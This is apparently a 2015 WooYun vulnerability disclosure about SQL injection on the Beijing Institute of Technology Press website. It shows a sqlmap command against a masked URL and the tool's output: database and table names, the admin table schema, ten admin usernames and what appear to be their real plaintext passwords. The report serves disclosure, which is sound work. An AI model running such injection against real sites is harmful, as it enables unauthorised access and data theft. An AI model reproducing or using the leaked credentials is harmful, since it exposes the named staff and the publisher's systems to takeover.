当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0145858

漏洞标题：北京理工大学出版社注射/管理爆炸/密码明文

相关厂商：北京理工大学出版社

漏洞作者： 冷白开。

提交时间：2015-10-10 19:23

修复时间：2015-11-28 17:32

公开时间：2015-11-28 17:32

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-10： 细节已通知厂商并且等待厂商处理中
2015-10-14： 厂商已经确认，细节仅向厂商公开
2015-10-24： 细节向核心白帽子及相关领域专家公开
2015-11-03： 细节向普通白帽子公开
2015-11-13： 细节向实习白帽子公开
2015-11-28： 细节向公众公开

简要描述：

扫到了好多，想想这么个小产商，反正我又不刷洞子，提一个算了。。。

详细说明：

sqlmap.py -u "http://**.**.**.**/book/dzbook_list.php?bcate=sk&cid=17" --dbs

1.png

available databases [5]:
[*] information_schema
[*] lg_bbs
[*] lgdx
[*] mysql
[*] test
Database: lgdx
[50 tables]
+-----------------------+
| MZ_ACTION             |
| MZ_AD                 |
| MZ_ADDRESS            |
| MZ_BG_ADMIN           |
| MZ_BG_ADMIN_LOG       |
| MZ_BOOK               |
| MZ_BOOK_DETAIL        |
| MZ_BOOK_copy          |
| MZ_CART               |
| MZ_CATEGORY           |
| MZ_CONTACT            |
| MZ_DOWN               |
| MZ_DOWNBOOK           |
| MZ_FORGET_PSWD        |
| MZ_JGSZ               |
| MZ_LINK               |
| MZ_MEMBER             |
| MZ_MEMBER_20101207    |
| MZ_MEMBER_copy        |
| MZ_MEMBER_copy1       |
| MZ_MEMBER_copy2       |
| MZ_MESSAGE            |
| MZ_NEWS               |
| MZ_NOTE               |
| MZ_ORDER_DETAIL       |
| MZ_ORDER_DETAIL_copy  |
| MZ_ORDER_LIST         |
| MZ_ORDER_LIST_copy    |
| MZ_ORDER_LIST_copy1   |
| MZ_PIFA               |
| MZ_SCBK               |
| MZ_SXJXS              |
| MZ_SYXX               |
| MZ_TOUGAO             |
| MZ_TSZQ               |
| MZ_XXY                |
| MZ_YOUFEI             |
| MZ_YXDD               |
| MZ_ZHEKOU             |
| MZ_ZJWY               |
| lt_adguanli           |
| lt_author             |
| lt_duzhefuwu          |
| lt_jifen              |
| lt_jifenlog           |
| lt_jifenorderlist     |
| lt_onlineread         |
| lt_onlineread_content |
| lt_rexiao             |
| lt_tushuguannews      |
+-----------------------+
Database: lgdx
Table: MZ_BG_ADMIN
[115 columns]
+-------------+--------------+
| Column      | Type         |
+-------------+--------------+
| email       | varchar(40)  |
| Id          | int(11)      |
| login_date  | datetime     |
| login_ip    | varchar(20)  |
| login_times | int(11)      |
| password    | varchar(40)  |
| R_10_A      | int(1)       |
| R_10_B      | int(1)       |
| R_10_C      | int(1)       |
| R_10_D      | int(1)       |
| R_11_A      | int(1)       |
| R_11_B      | int(1)       |
| R_11_C      | int(1)       |
| R_11_D      | int(1)       |
| R_12_A      | int(1)       |
| R_12_B      | int(1)       |
| R_12_C      | int(1)       |
| R_12_D      | int(1)       |
| R_13_A      | int(1)       |
| R_13_B      | int(1)       |
| R_13_C      | int(1)       |
| R_13_D      | int(1)       |
| R_14_A      | int(1)       |
| R_14_B      | int(1)       |
| R_14_C      | int(1)       |
| R_14_D      | int(1)       |
| R_15_A      | int(1)       |
| R_15_B      | int(1)       |
| R_15_C      | int(1)       |
| R_15_D      | int(1)       |
| R_16_A      | int(1)       |
| R_16_B      | int(1)       |
| R_16_C      | int(1)       |
| R_16_D      | int(1)       |
| R_17_A      | int(1)       |
| R_17_B      | int(1)       |
| R_17_C      | int(1)       |
| R_17_D      | int(1)       |
| R_18_A      | int(1)       |
| R_18_B      | int(1)       |
| R_18_C      | int(1)       |
| R_18_D      | int(1)       |
| R_19_A      | int(1)       |
| R_19_B      | int(1)       |
| R_19_C      | int(1)       |
| R_19_D      | int(1)       |
| R_1_A       | int(1)       |
| R_1_B       | int(1)       |
| R_1_C       | int(1)       |
| R_1_D       | int(1)       |
| R_20_A      | int(1)       |
| R_20_B      | int(1)       |
| R_20_C      | int(1)       |
| R_20_D      | int(1)       |
| R_20_E      | int(1)       |
| R_21_D      | int(1)       |
| R_22_A      | int(1)       |
| R_22_B      | int(1)       |
| R_22_C      | int(1)       |
| R_22_D      | int(1)       |
| R_23_D      | int(1)       |
| R_24_E      | int(1)       |
| R_25_D      | int(1)       |
| R_26_D      | int(1)       |
| R_27_A      | smallint(1)  |
| R_27_B      | smallint(1)  |
| R_27_C      | smallint(1)  |
| R_27_D      | smallint(1)  |
| R_28_A      | smallint(1)  |
| R_28_B      | smallint(1)  |
| R_28_C      | smallint(1)  |
| R_28_D      | smallint(1)  |
| R_29_A      | smallint(1)  |
| R_29_B      | smallint(1)  |
| R_29_C      | smallint(1)  |
| R_29_D      | smallint(1)  |
| R_2_A       | int(1)       |
| R_2_B       | int(1)       |
| R_2_C       | int(1)       |
| R_2_D       | int(1)       |
| R_30_A      | smallint(1)  |
| R_30_B      | smallint(1)  |
| R_30_C      | smallint(1)  |
| R_30_D      | smallint(1)  |
| R_3_A       | int(1)       |
| R_3_B       | int(1)       |
| R_3_C       | int(1)       |
| R_3_D       | int(1)       |
| R_4_A       | int(1)       |
| R_4_B       | int(1)       |
| R_4_C       | int(1)       |
| R_4_D       | int(1)       |
| R_5_A       | int(1)       |
| R_5_B       | int(1)       |
| R_5_C       | int(1)       |
| R_5_D       | int(1)       |
| R_6_A       | int(1)       |
| R_6_B       | int(1)       |
| R_6_C       | int(1)       |
| R_6_D       | int(1)       |
| R_7_A       | int(1)       |
| R_7_B       | int(1)       |
| R_7_C       | int(1)       |
| R_7_D       | int(1)       |
| R_8_A       | int(1)       |
| R_8_B       | int(1)       |
| R_8_C       | int(1)       |
| R_8_D       | int(1)       |
| R_9_A       | int(1)       |
| R_9_B       | int(1)       |
| R_9_C       | int(1)       |
| R_9_D       | int(1)       |
| R_9_E       | int(1)       |
| realname    | varchar(100) |
| username    | varchar(40)  |
+-------------+--------------+
Database: lgdx
Table: MZ_BG_ADMIN
[10 entries]
+--------------------+
| username           |
+--------------------+
| administrator_bitp |
| libq               |
| liutie             |
| liuxc              |
| miaoyj             |
| ningxl             |
| wangyl             |
| yuli411            |
| zhangm             |
| zhaoy              |
+--------------------+
Database: lgdx
Table: MZ_BG_ADMIN
[10 entries]
+-----------------+
| password        |
+-----------------+
| 0430229         |
| 1036tie         |
| 123456          |
| 123456          |
| 123456          |
| 123456          |
| 123456          |
| 12345678        |
| 723000          |
| BitPreSs@)!$edu |
+-----------------+

漏洞证明：

求过

修复方案：

你们懂

版权声明：转载请注明来源 冷白开。@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2015-10-14 17:31

厂商回复：

暂未建立与网站管理单位的直接处置渠道,转报给教育网应急组织.待认领.

最新状态：

暂无